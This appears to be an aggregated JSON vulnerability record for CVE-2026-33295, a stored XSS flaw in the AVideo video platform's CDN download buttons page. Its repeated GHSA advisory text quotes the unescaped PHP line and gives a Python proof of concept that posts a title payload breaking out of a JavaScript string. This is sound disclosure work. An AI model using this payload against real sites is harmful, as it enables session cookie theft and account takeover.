{"id":"CVE-2026-33295","aliases":["EUVD-2026-14323","GHSA-gc3m-4mcr-h3pv"],"status":"published","title":"AVideo Vulnerable to Stored XSS via Unescaped Video Title in CDN downloadButtons.php","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page. Version 26.0 fixes the issue.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00224,"percentile":0.13198,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-79"],"published":"2026-03-19T17:12:19Z","modified":"2026-10-28T02:30:43Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-gc3m-4mcr-h3pv","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/30cdd825fa5778c1d678c2402be2413b84ee4833","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33295","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gc3m-4mcr-h3pv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33295.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33295","title":"AVideo Vulnerable to Stored XSS via Unescaped Video Title in CDN downloadButtons.php","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page. Version 26.0 fixes the issue.","status":"published","published":"2026-03-22T17:00:55.697Z","modified":"2026-03-23T21:41:07.505Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-14323","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page. Version 26.0 fixes the issue.","status":"published","published":"2026-03-22T17:00:55Z","modified":"2026-03-23T21:41:07Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"}],"updated_at":"2026-11-02T19:25:30.696372Z"}],"ghsa":[{"id":"GHSA-gc3m-4mcr-h3pv","title":"AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php","description":"### Summary\n\nWWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page.\n\n### Details\n\nAt line 59 of the affected file, the following PHP code constructs a JavaScript function call:\n\n```php\ndownloadURLOrAlertError(url, {}, '\u003c?php echo $video['clean_title']; ?\u003e.' + format, progress);\n```\n\nThe `clean_title` value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with `json_encode` or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The `clean_title` field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges.\n\n### PoC\n\n```python\nimport requests\n\ntarget = \"https://example.com\"\nlogin_url = f\"{target}/user\"\nupload_url = f\"{target}/video/addNew\"\n\nsession = requests.Session()\n\nsession.post(login_url, data={\n    \"user[user]\": \"attacker\",\n    \"user[pass]\": \"attackerpassword\"\n})\n\nmalicious_title = \"');alert(document.cookie);//\"\n\nsession.post(upload_url, data={\n    \"title\": malicious_title,\n    \"description\": \"poc\"\n})\n```\n\nAfter the video is created, navigate to:\n\n```\nhttps://example.com/plugin/CDN/downloadButtons.php?videos_id=\u003cTARGET_VIDEO_ID\u003e\n```\n\nThe rendered page will contain:\n\n```javascript\ndownloadURLOrAlertError(url, {}, '');alert(document.cookie);//.' + format, progress);\n```\n\n### Impact\n\nAny user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.","status":"published","published":"2026-03-19T17:12:19Z","modified":"2026-03-25T18:35:13Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:41.724707Z"}],"nvd":[{"id":"CVE-2026-33295","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page. Version 26.0 fixes the issue.","status":"published","published":"2026-03-22T17:17:09.257Z","modified":"2026-06-17T10:37:16.21Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33295","title":"AVideo Vulnerable to Stored XSS via Unescaped Video Title in CDN downloadButtons.php","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page. Version 26.0 fixes the issue.","status":"published","published":"2026-03-22T17:00:55.697Z","modified":"2026-10-28T02:30:43.840021767Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-gc3m-4mcr-h3pv","title":"AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php","description":"### Summary\n\nWWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page.\n\n### Details\n\nAt line 59 of the affected file, the following PHP code constructs a JavaScript function call:\n\n```php\ndownloadURLOrAlertError(url, {}, '\u003c?php echo $video['clean_title']; ?\u003e.' + format, progress);\n```\n\nThe `clean_title` value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with `json_encode` or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The `clean_title` field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges.\n\n### PoC\n\n```python\nimport requests\n\ntarget = \"https://example.com\"\nlogin_url = f\"{target}/user\"\nupload_url = f\"{target}/video/addNew\"\n\nsession = requests.Session()\n\nsession.post(login_url, data={\n    \"user[user]\": \"attacker\",\n    \"user[pass]\": \"attackerpassword\"\n})\n\nmalicious_title = \"');alert(document.cookie);//\"\n\nsession.post(upload_url, data={\n    \"title\": malicious_title,\n    \"description\": \"poc\"\n})\n```\n\nAfter the video is created, navigate to:\n\n```\nhttps://example.com/plugin/CDN/downloadButtons.php?videos_id=\u003cTARGET_VIDEO_ID\u003e\n```\n\nThe rendered page will contain:\n\n```javascript\ndownloadURLOrAlertError(url, {}, '');alert(document.cookie);//.' + format, progress);\n```\n\n### Impact\n\nAny user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.","status":"published","published":"2026-03-19T17:12:19Z","modified":"2026-03-25T19:47:55.393333Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:47.472172Z"}]}}